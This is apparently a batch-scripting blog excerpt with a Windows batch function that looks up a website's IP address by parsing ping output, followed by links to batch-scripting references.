 :: Func: Return the IP address of given Website URl.   
 ::    If function fails, it shows "Problem in Connection.??"  
 ::  
 :: Args: %1 var for WebSite URl & %2 to receive IP Address.   
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
 setlocal ENABLEEXTENSIONS & set "ans=Problem in Connection.??"  
 for /f "tokens=3" %%a in ('ping -n 1 %1^|findstr /B Pinging') do ( set d=%%a)  
 if exist %d%=nul ( endlocal & set "%2=%ans%" & goto :EOF)  
 for /f "delims=[]" %%b in ('echo %d%') do ( set data=%%b )  
 endlocal & set "%2=%data%"  
 goto :EOF  
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  


In this below link has a huge collection of ready made functions

http://www.dostips.com/DtCodeCmdLib.php

Here is the list of links for Batch Scripting References :

http://www.dostips.com/
http://ss64.com/nt/
http://en.wikibooks.org/wiki/Windows_Batch_Scripting

Read more »